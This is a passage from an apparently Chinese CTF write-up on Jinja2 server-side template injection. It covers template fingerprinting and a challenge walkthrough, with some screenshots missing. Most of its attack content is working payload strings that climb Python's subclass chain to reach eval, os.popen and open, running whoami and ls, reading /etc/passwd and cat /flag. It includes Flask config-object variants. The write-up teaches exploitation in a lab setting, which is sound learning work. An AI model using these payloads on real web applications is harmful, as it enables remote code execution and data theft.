style="background-color:transparent">3）执行攻击

通过上述方法拿到__builtins__或os模块后，就可以调用真正的危险函数。

1. __builtins__

   • 作用：这不是一个方法，而是一个字典或模块，包含了Python的所有内建函数，例如eval、exec、open、__import__等。

   • 利用场景：一旦拿到__builtins__，攻击者可以直接调用：

     • eval('__import__("os").system("whoami")')

     • open('/etc/passwd').read()

     • __import__('os').popen('whoami').read()

2. eval/exec

   • 作用：将字符串作为Python代码执行。

   • 利用场景：终极武器。

     当攻击者无法直接找到os模块时，如果能找到eval，就可以通过它动态导入任何模块。

那么综合起来，我们来看一个具体的payload：

#
原始Payload
''.__class__.__mro__[1].__subclasses__()[177].__init__.__globals__['__builtins__'].eval('__import__("os").popen("whoami").read()')
逐步拆解：
'warnings.catch_warnings'>)
.__init__
__import__("os").popen("whoami").read()
->
实际执行的Python代码

4.判断模板

这里就要提到一个非常经典的图了：

/>

绿色箭头是执行成功，红色箭头是执行失败。

/>首先是注入${7*7}没有回显出49的情况，这种时候就是执行失败走红线，再次注入{{7*7}}如果还是没有回显49就代表这里没有模板注入；如果注入{{7＊7}}回显了49代表执行成功，继续往下走注入{{7*'7'}}，如果执行成功回显7777777说明是jinja2模板，如果回显是49就说明是Twig模板。

成功回显出的情况，这种时候是执行成功走绿线，再次注入，如果执行成功回显，就说明是模板；如果没有回显出，就是执行失败走红线，注入{"z".join("ab")}，如果执行成功回显出zab就说明是Mako模板。

/>二：具体题目

提示说名字就是考点，可以尝试get传参name，先按照上面图片给的方法进行一次判断，得到如下结果，可以确定为jinja2模板：

/>

那么接下来，就按照我们前面的方法依次尝试，首先是返回类：

/>

然后就是要返回基类，这里直接base一下就可以了：

/>

获得obj所有的子类：

/>

然后就是选择我们可以利用的类，一般选取的是os._wrap_close【因为os._wrap_close存在于object.__subclasses__()列表中，并且它的__init__.__globals__中直接包含了整个os模块，而os模块是Python标准库中的一个核心模块，全称是"Operating

System

interface"（操作系统接口）。

它提供了与操作系统交互的函数，让我们可以用Python代码执行各种系统级操作】但是我们要找这个类的位置看起来好像很麻烦，这么多一个个看过去怎么行？因此这里可以采用python脚本或者我们手工查找，这里还是介绍手工查找的方法：

我们先将这里所有的类都复制下来到notepad中，然后将，替换为\n【换行符】这样就看起来清晰了：

/>

后面我们再查找一下：

/>

然后验证一下是不是我们要选择的（不知道为啥我notepad显示是133）

/>

访问该类的初始化方法以及获得该方法的全局作用域字典：

/>

这里可以直接popen来read一下：

/>

最后得到我们的flag：

/>

三：其他方法

当然这里还有很多方法来做，这里是一种通用性较强的：

/>

这里我们利用的builtin的内置函数来当作跳板，在我们无法直接拿到os模块时起到了一个非常好的承接作用：builtins里面的这些函数可以帮我们执行命令：

__builtins__
=
}

利用链图解如下：

#
{{"".__class__.__base__.__subclasses__()[132].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('tac
逐步拆解：
找到第132个子类（比如warnings.catch_warnings）
.__init__
("__import__('os').popen('tac
要执行的代码字符串

当然还有相应的变种：

?name={{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['__builtins__'].__import__('os').popen('tac
/flag').read()}}
?name={{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['__builtins__'].open('/flag').read()}}

然后这里需要注意的点是：

只要一个类满足以下条件，就能通过__builtins__执行命令：

1. 它有__init__方法

2. __init__方法有__globals__属性

3. __globals__中包含__builtins__

常见的有以下几种：

1.warnings.catch_warnings（最经典）

#
130-140
{{[].__class__.__base__.__subclasses__()[132].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}

2.warnings.WarningMessage

#
{{[].__class__.__base__.__subclasses__()[184].__init__.__globals__['__builtins__'].open('/flag').read()}}

3.codecs.IncrementalEncoder

{{[].__class__.__base__.__subclasses__()[107].__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls
/').read()")}}

当然了还可以从config对象【Flask框架中的全局配置对象，用来存储应用程序的所有配置信息。

可以把它想象成应用程序的"控制面板"或"设置中心"】出发，具体就不多赘述了：

#
查看config对象，如果返回配置信息，说明config对象可用
?name={{
'flask.config.Config'>
?name={{
查看__init__的__globals__所有键，如果看到
'os'，恭喜！可以直接用
?name={{
config.__class__.__init__.__globals__.keys()
如果有os，直接执行
config.__class__.__init__.__globals__['os'].popen('ls
/').read()
config.__class__.__init__.__globals__['os'].popen('cat
/flag').read()
config.__class__.__init__.__globals__['__builtins__'].__import__('os').popen('cat
/flag').read()
}}

总之，方法很多，选取最合适的自己最好理解的即可。

四：参考

SSTI漏洞浅析（常见模板注入、waf绕过）

超详细SSTI模板注入漏洞原理讲解

/>Ctfshow

全

SSTI模板注入【宝藏up，入门强推】